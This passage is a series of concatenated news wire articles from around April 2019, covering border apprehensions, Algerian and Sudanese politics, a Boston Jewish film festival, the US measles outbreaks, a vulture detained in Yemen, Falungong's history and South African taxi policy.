"abandoned" by a group of suspected illegal immigrants who had crossed into the United States from Mexico near Brownsville, Texas, the CBP said. "As agents attempted to intercept the group, the suspected illegal aliens scattered in the overgrown field," the CBP said in a statement. The boy, who was "alone and crying," was discovered during a search of the field and taken to a local hospital, where he was found to be in good condition, it said. Efforts to locate his family have so far been unsuccessful. He is being taken care of at a centralized processing center and will be turned over to the custody of the Department of Health and Human Services, the CBP said. According to the CBP, border patrol agents apprehended 92,607 people along the southwest border in March, up from 66,884 in February. Among those apprehended in March were 8,975 unaccompanied children. President Donald Trump said Wednesday that the United States would send armed soldiers to the southern border after Mexican soldiers recently "pulled guns" on US troops, escalating his war of words with Mexico on immigration. Trump, who has made the immigration the core of his message to his conservative base, also said on Twitter that "a very big Caravan of over 20,000 people" is making its way through Mexico toward the United States. Chakib Khelil, 79, who was the Algerian energy minister for 10 years until he quit the government in 2010, faces renewed accusations of corruption that he had beat a few years ago, the APS news agency reported Algerian authorities apparently intent on clearing away two decades of cronyism following the ouster of veteran leader Abdelaziz Bouteflika have reopened an investigation against an ex-energy minister close to the former president, according to state media. Chakib Khelil, 79, who was energy minister for 10 years until he quit the government in 2010, faces renewed accusations of corruption that he had beat a few years ago, the APS news agency reported. News of the investigation against him adds to the arrests this week on graft charges of four tycoons with links to Bouteflika as well as the detention of the country's richest man, Issad Rebrab, on suspected false customs declarations. Rebrab had backed the anti-Bouteflika protests that ultimately forced the president's April 2 resignation, and his Cevital company said it was "astonished" by his arrest. Khelil, who holds Algerian and US nationality, fled to America when he was charged with financial malfeasance along with the head of Algeria's state oil company Sonatrach and several of its top executives. While the Sonatrach CEO and executives were convicted, Khelil was cleared of charges that he was involved in receiving "commissions" from Italian oil giant ENI for Algerian contracts, and he returned to Algeria in 2016. But Algeria's supreme court on Wednesday said it had received "two prosecution briefs" against Kehlil "and his accomplices", APS reported. One brief had to do with a "violation" of laws regulating capital transfers abroad, and the second was about "two contracts by the Sonatrach company with two foreign companies in violation of the law". The development came one day after the head of Sonatrach, Abdelmoumen Ould Kaddour, was fired and replaced on the orders of the country's interim president Abdelkader Bensalah. Catch Brandeis faculty at the National Center for Jewish Film's annual festival Margaret Sullavan and Jimmy Stewart in "Mortal Storm" The National Center for Jewish Films annual film festival is co-sponsored by ten university organizations and features 25 screening events in the Boston area, including talks with Brandeis faculty. The festival runs from May 7 to 19 with events at the Museum of Fine Arts, Boston and the Coolidge Corner Theatre in Brookline. Here is a look at some of the events featuring Brandeis professors and scholars. A full schedule and ticket information can be found on the festivals website: "Mortal Storm" May 7, 7:30 p.m. Coolidge Corner Theatre Screening and Q&A with Brandeis University professor Thomas Doherty Opening Night Film Starring Margaret Sullavan and Jimmy Stewart and released in June 1940, before Americas official entry into World War II, "Mortal Storm" was MGMs first anti-Nazi film, and one of only two films made in Hollywood during the war that explicitly identifies Jews as victims of Nazism. The Nazis rise to power splits a family apart in this melodrama set in Germany in 1933. A Jewish professor (Frank Morgan) refuses to conform his teaching to Nazi doctrine and pays the price. His daughter Freya (Sullavan) leaves her fiancee (Robert Young), who is becoming a dedicated Fascist, for her childhood friend Martin (Stewart), a defiant anti-Nazi, with whom she attempts escape. This screening featured a 35mm restored print courtesy of UCLA Film & Television Archive. "Leona" May 9, 7:30 p.m. Museum of Fine Arts, Boston Screening and Q&A with Dalia Wassner, Project on Latin American Jewish & Gender Studies, Hadassah-Brandeis Institute (Additional screening May 11 without Q&A) A young woman from Mexico City finds herself torn between her Syrian-Jewish family and a forbidden love in this moving, insightful romance. Best Actress winner at the Morelia Film Festival, Naian Gonzalez Norvind gives an intimate, honest portrayal as Ariela, an independently-minded artist living with her family in a cloistered Jewish neighborhood. Pressured to find an appropriate suitor, serendipity leads to a passionate courtship with a non-Jewish writer who shows her a world of possibilities beyond her sheltered life. As their feelings deepen, Ariela must weigh their unsanctioned relationship against rejection by her family and community, where religious values and traditions run deep. "The Light of Hope" / "La llum dElna" May 12, 3 p.m. Museum of Fine Arts, Boston Introduction by Sabine von Mering, Director, Center for German & European Studies, Brandeis University (Additional screening May 17 without Q&A) This award-winning Spanish drama tells the true story of Elisabeth Eidenbenz, founder of the Mothers of Elne, a maternity home in the south of France on the Spanish border. Realizing that refugees fleeing Francos regime in Spain and Vichy refugee camps were physically vulnerable, Eidenbenz transforms an old villa into a birth clinic. Despite the surrounding hardship, the villa becomes a safe haven for mothers and children. But when French authorities demand she turn over the Jewish refugees, Eidenbenz must make a decision that could endanger everyone in the maternity. By the end of the war, Elisabeth and her female staff had saved the lives of hundreds of mothers and children. After the war, Eidenbenz was honored by Yad Vashem as a Righteous Among Nations. Carl Laemmle May 15, 7:30 p.m. Museum of Fine Arts, Boston Screening and Q&A with Brandeis University Professor Thomas Doherty A pioneering mogul of early cinema and an unsung Jewish-American hero, Carl Laemmle certainly lived his motto, it can be done. Laemmle, a German emigre, founded Universal Pictures in 1912. Laemmle helped establish Hollywood California as the worlds movie capital, beat back Thomas Edisons monopolization of the film industry, hired women directors and African American actors, and gave many Hollywood legends their starts, including Walt Disney, John Ford, William Wyler, and Irving Thalberg. But Laemmles legacy extends far beyond Hollywood: Uncle Carl, as he was known on the studio lot, dedicated his personal fortune to rescuing more than 300 Jewish families from Nazi Germany. The following Brandeis institutes, departments and centers are co-sponsoring, co-presenting or partnering on events: The Tauber Institute for the Study of European Jewry, Sarnat Center for the Study of Anti-Jewishness, Center for German and European Studies, Schusterman Center for Israel Studies, Hadassah-Brandeis Institute, Brandeis University Alumni Association, Hornstein Jewish Professional Leadership Program, Brandeis National Committee, and the Department of Near Eastern and Judaic Studies. Iranian President Hassan Rouhani embraces his Afghan counterpart Ashraf Ghani during his August 2017 visit to Tehran Iran on Wednesday criticized US talks with the Taliban on ending the Afghanistan war, saying Washington was elevating the role of the militants. Foreign Minister Mohammad Javad Zarif acknowledged that Iran had also opened dialogue with the Taliban but said that the US push for a deal with the extremists was "seriously wrong." "An attempt to exclude everybody and just talk to the Taliban has alienated the government, has alienated the region, has alienated everybody else and it achieved nothing, as you've seen from the statement that came from the Taliban," Zarif said, apparently referring to the militants' announcement of a new spring offensive. "I was the first to say that in any peace in Afghanistan, the Taliban cannot be set aside or isolated," Zarif said at the Asia Society in New York, which he was visiting to take part in a UN session. "But you cannot negotiate the future of Afghanistan with the Taliban. The Taliban only represent a segment of Afghan society, not all of it," he said. President Donald Trump has voiced impatience at ending the longest-ever US war, launched after the September 11, 2001 attacks on the United States. US envoy Zalmay Khalilzad is set shortly to hold a fresh round of talks in Qatar with the Taliban, with early indications saying Washington will agree to pull troops and that the militants will promise not to allow foreign extremists on their soil. But the Taliban have refused to negotiate with President Ashraf Ghani's internationally recognized government, with a would-be breakthrough meeting recently collapsing in a dispute over the delegation list. Despite its tense relations with the United States, Iran had quietly backed the initial US invasion that ousted the Taliban, Sunni Muslims who imposed an austere interpretation of Islam over Afghanistan from 1996 to 2001. Iran, led by Shiite clerics, nearly went to war with the Taliban in 1998 after an attack on its consulate in the Afghan city of Mazar-i-Sharif killed nine Iranian diplomats and a journalist. But Iran has more recently sought to build relations with the Taliban, mindful of preserving interests in the neighboring country. Britain's Prince William at a wreath-laying ceremony during Anzac Day commemorations in Auckland Britain's Prince William paid tribute to Australian and New Zealand troops on Thursday at an emotional Anzac Day ceremony, six weeks after the Christchurch mosques massacre. The Prince, in New Zealand to meet survivors of the March 15 shooting in which 50 people were killed, laid a wreath at the annual service honouring those who have served in the two countries' armed forces. Prime Minister Jacinda Ardern told an Anzac day dawn service the March 15 massacre showed "there is still much division to overcome" in the world and called for a recommitment "to the principles of freedom, democracy and peace that the country had fought for". A musician marches in the Anzac Day parade in Sydney New Zealand last week lowered its terror threat level from high to medium, meaning another attack was judged "feasible" rather than "very likely". Still, the number of Anzac services in Auckland was reduced to avoid overstretching security forces. Anzac Day marks the April 25, 1915 landing of Australian and New Zealand troops at Gallipoli on the Turkish peninsula in an ill-fated WWI campaign against the German-backed Ottoman forces. More than 10,000 Australian and New Zealand servicemen died in the campaign, and while it failed in its military objectives, it gave rise to commemorations of the courage and close friendship that bind the two countries. Troops march in the Anzac Day parade in Sydney Prince William sat alongside Ardern during a wreath-laying ceremony at the Auckland War Memorial Museum while dozens of armed police officers kept guard and snipers could be seen on the building's roof. - 'Shared humanity' - Hundreds of Australians and New Zealanders travel to Gallipoli each year to attend a dawn commemoration at Anzac Cove, where the troops landed. Similar dawn services were held in Australia where Prime Minister Scott Morrison played down reports of a plot to target the Gallipoli event following the arrest in Turkey of a suspected Islamic State member. Anzac Day honours all those who have served in the Australian and New Zealand armed forces Australian Veteran Affairs Minister Darren Chester had earlier told broadcaster ABC that Turkish police arrested someone "alleged to be involved in activities that were designed to disrupt the Anzac day services at Gallipoli". But Morrison later said the arrest was a "routine thing that we've seen happen with Turkish authorities". "We could not say at all that there is any link between that arrest and any planned event at Gallipoli," he told reporters. In New Zealand, Muslim youth association leader Azeem Zafarullah said it was important for the Muslim community to take part in the Anzac Day services, following the carnage in Christchurch. "It's important that we show the public that we're here to represent our country -- we are loyal citizens," he told reporters. Zafarullah said the Muslim community had received a lot of support after the mosque massacres, noting: "It's important that we show that support back." A veteran walks past Melbourne's Shrine of Remembrance Prince William did not speak at the Anzac Day service but was expected to give an address when he meets with survivors of the mosque shootings in Christchurch on Friday. At the earlier dawn ceremony, Ardern said "our peace was altered dramatically by the terrorist attacks in Christchurch. "Let us recommit to always remembering our shared humanity, that there is more that unites us than divides us. Our sense of independence is as strong as our sense of responsibility to each other and not just as nation states but as human beings." US Secretary of State Mike Pompeo says he expected "bumpy" talks ahead with North Korea but that he remains optimistic US Secretary of State Mike Pompeo said Wednesday he expected "bumpy" talks ahead with North Korea but that he still hoped to reach a potentially landmark denuclearization deal. US President Donald Trump and North Korean leader Kim Jong Un cut short a summit in February in Hanoi, with Pyongyang later blaming Pompeo for pushing a hard line and calling for his exclusion from future negotiations. In an interview with CBS News, Pompeo said the Hanoi summit had more "nuance" than publicly reported, with the two sides sharing their positions. "It's going to be bumpy. It's going to be challenging. I hope we get several more chances to have serious conversations about how we move this process forward," Pompeo said. North Korea has demanded an easing of sanctions and Trump has indicated sympathy, saying he is fond of Kim. But Pompeo has insisted on maintaining pressure until a comprehensive deal on ending North Korea's nuclear program. Pompeo said that years of previous diplomatic efforts had made a mistake with North Korea by handing them "a bunch of money in exchange for too little." "We're determined not to make that mistake, and I think the North Koreans now see that pretty clearly," he said. Pompeo, who traveled to Pyongyang four times last year, said he "absolutely" believed that Kim was willing to take a major step to give up his nuclear weapons in return for less isolation. "Only time will tell for sure, but I've seen enough to believe that there is a real opportunity to fundamentally shift the strategic paradigm on the peninsula there." His remarks came as Kim headed to Russia's far east for a summit with President Vladimir Putin, whose country has historically been an ally of North Korea. A State Department spokesman, asked about the summit, said the United States and the rest of the international community "are committed to the same goal -- the final, fully verified denuclearization of North Korea." Sudanese protesters cheer fellow demonstrators arriving in Khartoum by train Three members of Sudan's ruling military council resigned Wednesday after it said it reached "agreement on most demands" with protest leaders who have called for a million-strong march to demand a civilian government. The 10-member military council had invited the protest leaders for a meeting after the leaders suspended talks with the army rulers on Sunday. "We have an agreement on most demands presented in the document of the Alliance for Freedom and Change," Lieutenant General Shamseddine Kabbashi, spokesman of the ruling military council, told reporters after the meeting between the council and leaders of the umbrella group leading the protest movement. He did not elaborate on the key demand of handing power to a civilian government, but said there "were no big disputes". One of the protest leaders who attended the meeting, Ahmed al-Rabia, said the two sides had also agreed to form a joint committee, but did not elaborate for what. Minutes later in a separate statement the military council announced that three members of the ruling body had resigned. They were Lieutenant General Omar Zain al-Abdin, Lieutenant General Jalaluddin Al-Sheikh and Lieutenant General Al-Tayieb Babikir. Wednesday's late night developments came as Siddiq Farouk, one of the leaders of the protests, told reporters that the demonstrators were "preparing for a general strike" if the ruling military council refuses to hand power to a civilian administration. He also said that a "million-strong march" is planned, confirming a call for the mammoth protest Thursday by the Sudanese Professionals Association (SPA), the group that initially launched protests against longtime leader Omar al-Bashir in December. For the first time, Sudanese judges said they would join an ongoing sit-in outside army headquarters "to support change and for an independent judiciary". The demonstrations initially began in the central town of Atbara on December 19 against a decision by Bashir's government to triple bread prices. They swiftly turned into nationwide rallies against his rule and that of the military council that took his place. - 'We demand civil rule' - The council, led by General Abdel Fattah al-Burhan since his predecessor quit after barely 24 hours in the post, says it has assumed power for a two-year transitional period. Senior opposition figure Omar el-Digeir (R) said protest leaders were ready to meet with the head of the military council Hundreds of protesters came from the central town of Madani to join the sit-in on Wednesday, the second major batch of new arrivals from outside the capital in as many days. A train laden with demonstrators had rolled in from Atbara -- the crucible of the protests -- on Tuesday. "Revolutionaries from Madani want civilian rule," the latest arrivals chanted, according to witnesses. The protesters suspended earlier talks with the council Sunday over its refusal to transfer power immediately. But the military council invited the protesters to fresh talks Wednesday, acknowledging their role in "initiating the revolution and leading the movement in a peaceful way until the toppling of the regime" of Bashir. - 'Ready to talk' - Earlier in a press conference, senior opposition figure Omar el-Digeir said protest leaders were prepared to meet directly with Burhan. Sudanese protesters from the city of Atbara, the crucible of the protests, cheer upon arriving in Khartoum on April 23, 2019 "We are ready to talk with the chief of the military council and I think the issue can be solved through dialogue," he told reporters. Thousands have camped outside the military headquarters in central Khartoum since before Bashir was deposed, and have vowed not to leave the area until their demands have been met. Late Wednesday, crowds of protesters carrying Sudanese flags marched through the protest site outside the army headquarters, an AFP correspondent reported. "Fall or not, we are staying," the protesters chanted. Protester Ayman Ali Mohamed said he was planning to join Thursday's march. "We fear that the military council might steal our revolution, so we have to participate until the transfer to civilian rule is accomplished," he said. "We are standing our ground no matter what." The protesters have found support in Washington, which has backed their call for civilian rule. The scene at Bahari station in Khartoum on Tuesday, after the train full of protesters arrived from Atbara "We support the legitimate demand of the people of Sudan for a civilian-led government, and we are here to urge and to encourage parties to work together to advance that agenda as soon as possible," State Department official Makila James told AFP on Tuesday. On Tuesday several African leaders, who had gathered in Cairo at the behest of Egyptian President Abdel Fattah al-Sisi, insisted on "the need for more time" for a transition, according to Sisi's office. The leaders urged the African Union to extend by three months an end-of-April deadline for the council to hand power to a civilian body. Nujeen Mustafa, pictured at the Frankfurt Book Fair in October 2016, asked the United Nations Security Council to do more to address the humanitarian needs of disabled people affected by the conflict in her homeland, Syria A young Syrian with cerebral palsy, who trekked with a wheelchair from her homeland all the way to Germany as a refugee, on Wednesday urged the UN Security Council to focus more on Syria's "invisible" disabled people. It was the first time the council has formally considered the rights of disabled people affected by conflict, a rights watchdog said. "I call on all members of the council to do more to make sure (of) humanitarian access to address the urgent needs of the people affected by the conflict, particularly people with disabilities," said Nujeen Mustafa, 20. She reached Germany in September 2015 after an arduous month-long 2,000-kilometer (1,200-mile) journey with family members that included a terrifying boat trip to Greece, after it became too dangerous for them to stay in Aleppo. Mustafa, who dreamed of becoming an astronaut, wrote a memoir of her experience and even Nobel Peace Prize laureate Malala Yousafzai hailed her as an inspiration. A student in Germany, Mustafa has become an advocate for the rights of disabled people in conflict, trying to get states and UN agencies to include them in humanitarian aid. "There is very little data on how many people with disabilities live in Syria or have fled to neighboring countries and what our needs are," she said. "And without this data, the programs and policies just don't meet our needs. We're invisible." - Idlib's 175,000 disabled - People watch members of the Syrian Civil Defense, or "White Helmets," search the rubble of a collapsed building following an explosion in the town of Jisr al-Shughur, in the west of the mostly rebel-held Syrian province of Idlib, on April 24, 2019 New York-based Human Rights Watch backed Mustafa's call, saying the Security Council "should urgently act to improve the protection of people with disabilities in armed conflict." Mustafa drew the council's attention to the situation in Syria's jihadist-controlled Idlib region, home to about three million people and which has come under increasing bombardment since former Al-Qaeda affiliate Hayat Tahrir al-Sham took full control of it in January. "In Idlib, there are more than 175,000 people with disabilities -- many of whom now have disabilities because of the conflict," she said. "The council cannot allow Idlib to be another Aleppo, with hundreds of thousands forced to flee," Mustafa said in an appeal reinforced by Ursula Mueller, United Nations Assistant Secretary-General for Humanitarian Affairs and Deputy Emergency Relief Coordinator. More than 200 civilians have reportedly been killed since February as a direct result of increased military clashes and attacks, Mueller said. "Civilian structures -- particularly schools and hospitals -- continue to be hit" in the jihadists' last Syrian bastion, she said. Idlib has since September been protected from a massive regime offensive by a fragile ceasefire deal signed by Damascus ally Russia and rebel-backer Turkey. At the UN, however, several countries are worried that "the Russians will soon let the regime take back the pocket in a bloodbath and with their support," according to a diplomatic source. There are "more and more Russian signals that the situation in Idlib is untenable, that it will be necessary to burst the abscess and that the province will return to the fold of the government," the source said. On Wednesday, a powerful explosion in Idlib killed 18 people including more than a dozen civilians, according to the Syrian Observatory for Human Rights. The cause of the blast was not immediately clear. US health authorities say a significant factor contributing to measles outbreaks in New York is misinformation in communities about the safety of the vaccine The United States recorded 695 cases of measles in 2019, the most of any year since the disease was declared eliminated in 2000, health authorities said Wednesday. "The high number of cases in 2019 is primarily the result of a few large outbreaks -- one in Washington State and two large outbreaks in New York that started in late 2018," the Centers for Disease Control and Prevention said in a statement. The resurgence of the once-eradicated, highly-contagious disease is linked to a growing anti-vaccine movement in richer nations -- which the World Health Organization has identified as a major global health threat. Outbreaks in the United States have mostly been confined to tight-knit communities where vaccination rates are lower than the national average of more than 90 percent. People infected with the virus brought it to the United States from Israel and Ukraine and passed it on to members of their communities, many of whom had not been vaccinated. New York and Washington State have been the main areas affected but cases have been found in 22 states. "A significant factor contributing to the outbreaks in New York is misinformation in the communities about the safety of the measles/mumps/rubella vaccine," CDC said. In a separate statement confirming the new record, Health and Human Services Secretary Alex Azar said "measles vaccines are among the most extensively studied medical products we have, and their safety has been firmly established over many years." Measles He added that next week, during National Infant Immunization Week, his department will carry out "a comprehensive campaign to reinforce the message that vaccines are safe and effective." In New York, an Orthodox Jewish community in Brooklyn has been hardest hit. They were infected by visitors from Israel, where an outbreak of the potentially life-threatening illness began a year ago. Earlier this month New York's mayor declared a public health emergency in parts of Brooklyn, ordering all residents to be vaccinated to fight the measles outbreak. Washington state's Clark County has seen the outbreak concentrated among a Russian-speaking community. A child brought the virus back from Ukraine in December and it spread to 74 other people, mostly children, through schools, supermarkets and a bowling alley. The state, in the country's northwest, declared in January a state of emergency over an outbreak of the airborne infection that causes fever, coughing and rashes that can be deadly in rare cases. The so-called anti-vax, or anti-vaxxer phenomenon has adherents across Western nations but is particularly high profile in the US, where it has been fueled by medically baseless claims spread on social media. Tens of thousands of cases of measles have been reported in Africa and Europe. Ukraine alone has more than 30,000 cases and 11 deaths since January. Worldwide, measles cases rose 300 percent through the first three months of 2019 compared with the same period last year, according to the United Nations. Griffon vulture Nelson was briefly detained by Yemeni fighters suspicious of the satellite transmitter tagged to his wing after he came down in the war-torn country Griffon vulture Nelson crossed into war-torn Yemen in search of food but ended up in the hands of Yemeni fighters -- and temporarily in jail for suspected espionage. The sand-coloured bird came down in the country's third city of Taez, an unusual move for a young vulture that can soar for long distances across continents in search of food and moderate weather. Nelson, approximately two years old, embarked on his journey in September 2018 from Bulgaria, where his wing was tagged and equipped with a satellite transmitter by the Fund for Wild Fauna and Flora (FWFF). But he seems to have lost his way, eventually coming down into Taez -- under siege by Huthi rebels but controlled by pro-government forces, who mistook Nelson's satellite transmitter for an espionage device and detained the bird. - Spy device - Forces loyal to the government believed that the GPS tracker attached to the bird may have been a spy device for the rebels. Hisham al-Hoot, who represents the FWFF in Yemen, travelled from the rebel-held capital Sanaa to Taez to plead with local officials to release the helpless animal. "It took about 12 days to get the bird," he told AFP. The two-year-old bird embarked on his journey in September 2018 from Bulgaria where he was tagged by a wildlife fund "The Bulgarian foreign ministry reached out to the Yemeni ambassador, who in turn contacted local officials (in Taez) and told them to immediately give the organisation the vulture." Hoot said that the bird migrated from Bulgaria, to Turkey, to Jordan, Saudi Arabia and then Yemen -- where the FWFF lost track of the bird. Nelson was MIA until April 5, when the conservation group received hundreds of messages from Yemenis concerned about the creatures' welfare. Today, the locally-famous vulture is being properly fed and getting stronger every day. "When we first took him, he was in very bad condition," said Hoot, adding that the bird was underweight. Smiling, he puts on gloves and carefully handles the majestic creature -- blowing it a kiss. - Broken wings - Wildlife experts said the vulture struggled to find food in conflict-wracked Yemen Hoot said the bird will be released in two months when he believed Nelson will have regained his full strength and his wing -- broken somewhere during his journey -- will have healed. "We thought at first it would take six months for him to heal, but now we don't think it will be more than two months," he said. Hoot said that Nelson was not able to find any source of sustenance in Yemen. "They can eat carcasses of dead animals, but now there is no more with the current situation of war. "This is what forced him to come down and stopped him from completing his journey." The four-year conflict in Yemen has unleashed the world's worst humanitarian crisis, according to the United Nations, with millions facing famine. The war escalated in March 2015 when a coalition, led by Saudi Arabia and the United Arab Emirates, intervened to bolster the efforts of Yemeni President Abedrabbo Mansour Hadi. Since then, at least 10,000 people -- most of them civilians -- have been killed and more than 60,000 wounded, according to the World Health Organization. Other rights groups estimate the toll could be much higher. Members of the Falungong gather at a park in Beijing for a morning workout in 1999 The Falungong triggered a relentless Chinese government crackdown against the movement when thousands of its members protested around Communist Party headquarters in Beijing 20 years ago. The government outlawed the group following the April 25, 1999 demonstration. Now deemed an evil cult by Chinese authorities, the group has gone underground in China while its followers abroad can be seen in public parks doing slow meditative exercises and espousing the values of "truthfulness, compassion and forbearance". On the 20th anniversary of the protest, here are four key questions about Falungong and how it became one of the Chinese government's biggest taboos: - What is Falungong? The spiritual movement was founded in 1992 by Li Hongzhi, a former employee of a state-owned grain company from northeast China. Within years he had amassed tens of millions of followers. Protesters from the banned Falungong group being detained in Tiananmen Square in Beijing in November 1999 as they raised a banner appealing for help from visiting UN chief Kofi Annan Falungong espouses a set of exercises based on Qigong, an ancient system of exercises involving controlled breathing that practitioners believe enhances overall health by promoting the circulation of vital energy within the human body. Though it insists is is not a religion, Falungong also emphasises moral teachings mixing Buddhist and Taoist philosophies. The Chinese government once supported the movement and encouraged the practice to ease the burden on a creaky health system. - What happened 20 years ago? A major turning point came on April 25, 1999, when over 10,000 Falungong followers encircled Zhongnanhai, the Communist Partys headquarters in Beijing -- the largest demonstration in Beijing since the Chinese army crushed the Tiananmen Square student protests a decade earlier. A group of more than 10,000 protesters march in support of the Falungong spiritual movement in Beijing in April 1999 Participants in the silent rally protested against official harassment and demanded freedom to study the teachings of its leader and follow its beliefs. They peacefully dispersed later that day after government leaders agreed to hold talks with the group. However, Falungong's ability to mobilise large numbers of followers caught the government off guard and alarmed leaders. - What was China's response? Several months later, China banned Falungong, declaring it an illegal organisation and accusing it of "spreading fallacies, hoodwinking people, inciting and creating disturbances and jeopardising social stability." It rounded up leaders and launched a major propaganda campaign painting the group as a cult that cheats its followers. State media called Li a fake, blaming him for causing the deaths of adherents by teaching followers to refuse medical treatment and leading them to commit suicide. Li -- who had already emigrated to the US -- denied all the charges from Beijing. Tens of thousands of followers were detained in the months following the ban, according to official figures. Falungong accuses China of torturing adherents and holding many in prison and labour camps, as well as harvesting the organs of detained followers, which Beijing denies. It estimates that over 4,000 practitioners have died as a result of torture in custody and other forms of persecution in the two decades that followed. - Where is Falungong now? Though the government's campaign against the group continues, NGO Freedom House estimated in a 2017 report that millions in China continue to practice Falungong, including many who took it up after the government ban. Though actual membership numbers are unknown, Falungong has continued to get its message out through its practitioners abroad. From Washington to Hong Kong, followers gather under banners opposing the Communist government and hand out flyers to passersby. Falungong practitioners also founded the television network New Tang Dynasty, which broadcasts around the clock and has reporters stationed across the globe, as well as a newspaper, The Epoch Times, which is printed in eight languages and publishes in 21 languages online. Actor Ken Kercheval attends the Television Academy 70th Anniversary Celebration, in Los Angeles, California, on June 2, 2016 Actor Ken Kercheval, who played the role of Texas oilman Cliff Barnes opposite Larry Hagman's devious J.R. Ewing on the hit TV series "Dallas," has died at age 83. A spokeswoman at Frist Funeral Home in Kercheval's hometown of Clinton, Indiana, confirmed the death to AFP and said his burial will be private. She did not provide further details. Local news reports said Kercheval died on Sunday at his home after a long illness. The actor played the role of a beleaguered oil tycoon on "Dallas," constantly having to defend himself from the scheming J.R. Ewing. He said in an interview in 2012 that he liked his character who constantly tried -- without success -- to outwit J.R. "J.R. was coming after my ass all the time, so I always had to defend myself," he said. "If I did something that wasn't quite right, it's because I had to." Both actors were the only stars who stayed with the series throughout its 14-year run from 1978 to 1991. Kercheval was also part of a revival of the drama -- which revolved around a wealthy feuding Texas family -- from 2012 to 2014. Actress Audrey Landers, who played Barnes' girlfriend, Afton Cooper, for several seasons on "Dallas," paid tribute to him in an Instagram post, saying he would always be in her heart. "Thank you for being a great friend, scene partner, and for making history on #Dallas," she wrote. Born in 1935 in Wolcottville, Indiana, Kercheval studied art and drama and began his career as a stage actor. "He was one of those guys who was going to be the next James Dean," David Jacobs, the creator of "Dallas," told the Hollywood Reporter. He appeared with Dustin Hoffman in an off-Broadway production of "Dead End" and had roles in several Broadway musicals in the 1960s including "The Young Abe Lincoln" and "Cabaret." His big-screen credits include "Network," "The Secret Storm," and "The Lincoln Conspiracy." Beyond "Dallas," he had roles in dozens of TV series including "Murder, She Wrote," "Kojak," "L.A. Law" and "ER." A prolific smoker, Kercheval underwent surgery for lung cancer in 1994 and was a self-described "practicing alcoholic" for 20 years before he stopped drinking. The Hollywood Reporter said he was an avid collector of Americana and owned the inkwell that Abraham Lincoln dipped his pen into to sign the Emancipation Proclamation. News reports said he was survived by several adult children. US health authorities say a significant factor contributing to measles outbreaks in New York is misinformation in communities about the safety of the vaccine The US recorded 695 cases of measles in 2019, the most of any year since the disease was declared eliminated at the turn of the century, officials said Wednesday, ahead of a campaign to reinforce the message that vaccines are safe. The surge comes amid a growing global movement against inoculation, with an estimated 169 million children missing out on the vital first dose of the measles vaccine between 2010 and 2017, according to a UNICEF report. The UN Children's Fund found the United States topping the list of high-income countries where children had not received their first round of immunization, at over 2.5 million. It was followed by France and Britain, with over 600,000 and 500,000 unvaccinated infants respectively over the same period. The new tally of American cases confirmed by US authorities surpassed the previous high of 667 reached in 2014. - Anti-vaxxers - Resurgence of the once-eradicated, highly-contagious disease is linked to the growing anti-vaccine movement in richer nations, which the World Health Organization (WHO) has identified as a major global health threat. The anti-vax phenomenon has adherents across Western countries but is particularly high profile in the US, where it has been fueled by medically baseless claims spread on social media. "The high number of cases in 2019 is primarily the result of a few large outbreaks -- one in Washington State and two large outbreaks in New York that started in late 2018," the Centers for Disease Control and Prevention said in a statement. People infected with the virus brought it to the United States from Israel and Ukraine and passed it on to members of their communities, many of whom had not been vaccinated. Although New York and Washington State have been the main areas affected cases have been found in 22 states. "A significant factor contributing to the outbreaks in New York is misinformation in the communities about the safety of the measles/mumps/rubella vaccine," CDC said. In a separate statement confirming the new record, Health and Human Services Secretary Alex Azar said "measles vaccines are among the most extensively studied medical products we have, and their safety has been firmly established over many years." Measles He added that next week, during National Infant Immunization Week, his department will carry out "a comprehensive campaign to reinforce the message that vaccines are safe and effective." In New York, an Orthodox Jewish community in Brooklyn has been hardest hit. They were infected by visitors from Israel, where an outbreak of began a year ago. Earlier this month New York's mayor declared a public health emergency in parts of Brooklyn, ordering all residents to be vaccinated to fight measles. The New York county of Rockland declared a similar emergency in March. Washington state's Clark County has seen the outbreak concentrated among a Russian-speaking community. After a child brought the virus back from Ukraine in December it spread to 74 other people, mostly children, through schools, supermarkets and a bowling alley. Washington, in the country's northwest, declared in January a state of emergency over its outbreak of the airborne infection that causes fever, coughing and rashes that can be deadly in rare cases. - Global surge - Worldwide, measles cases rose 300 percent through the first three months of 2019 compared with the same period last year, according to the United Nations. Two does are required to protect children from the disease. But global rates of first dose were reported at 85 percent in 2017, falling to 67 percent for the second dose. The WHO recommends 95 percent for so-called "herd immunity." Tens of thousands of cases have been reported in Africa and Europe. Ukraine alone has had more than 30,000 cases and 11 deaths since January. In New York, an Orthodox Jewish community in Brooklyn has been hardest hit by the measles outbreak An estimated 110,000 people, most of them children, died from measles in 2017, a 22 per cent increase from the year before, the UN children's agency UNICEF said. Among low and middle-income countries, UNICEF put declining coverage down to lack of access, poor health systems, complacency, and in some cases fear or skepticism over immunization. In this bracket, Nigeria had the highest number of unvaccinated children younger than one year, with nearly 4 million, followed by India (2.9 million), Pakistan and Indonesia (1.2 million each), and Ethiopia (1.1 million). "If we are serious about averting the spread of this dangerous but preventable disease, we need to vaccinate every child, in rich and poor countries alike," UNICEF executive director Henrietta Fore said in a statement. South Africa: Nzimande announces interventions to transform minibus taxi industry Government has decided to revise the Taxi Recapitalisation Programme in an effort to meet the current as well as future needs of commuters and to stimulate the economic potential of the industry. The Department of Transport has also appointed a new taxi-scrapping agency that will facilitate the Taxi Recapitalisation Programme on behalf of the department. This was announced by the Minister of Transport Blade Nzimande at a media briefing in Tshwane on Friday. The Department of Transport has appointed Anthus Services 84 (Pty) Ltd (Anthus) as the technical partner responsible for the administration and management of the Revised Taxi Recapitalisation Programme (RTRP) in March 2019, the Minister said. Since the expiry of the taxi scrapping contract with the previous service provider at the end of September 2018, the department has been busy procuring the services of a new service provider to assist the department in the implementation of the Revised Taxi Recapitalisation Programme. While the scrapping of taxi vehicles has been suspended since October 2018 pending the appointment of a new service provider, the RTRP resumed in March 2019 with the appointment of Anthus Services 84. The Taxi Recapitalisation Programme was an intervention by government to bring about safe and effective taxi operations by introducing new taxi vehicles and scrapping old taxi vehicles, as well as helping operators to benefit constructively through empowerment. On Friday, the Minister said government had decided to increase the taxi scrapping allowance from R91 100 to R124 000 per scrapped old taxi. To fulfil the transformation and sustainability requirements of the Revised Taxi Recapitalisation Programme, 60% of the commercial benefits generated by the Taxi Recapitalisation SA operations will flow to the taxi industry. The Taxi Recapitalisation SA has already fulfilled its mandate to establish sites in all nine provinces, the Minister said. The sites are already opened to receive applications for scrapping. Government is extending the scope of the Taxi Recapitalisation Programme beyond the scrapping of the balance. Interventions to transform the minibus taxi industry The Minister said the department wants to develop sustainable, commercially viable Revised Taxi Recapitalisation Programme management solutions that will leverage and exploit opportunities available in the minibus taxi industrys entire value chain with taxi operators as 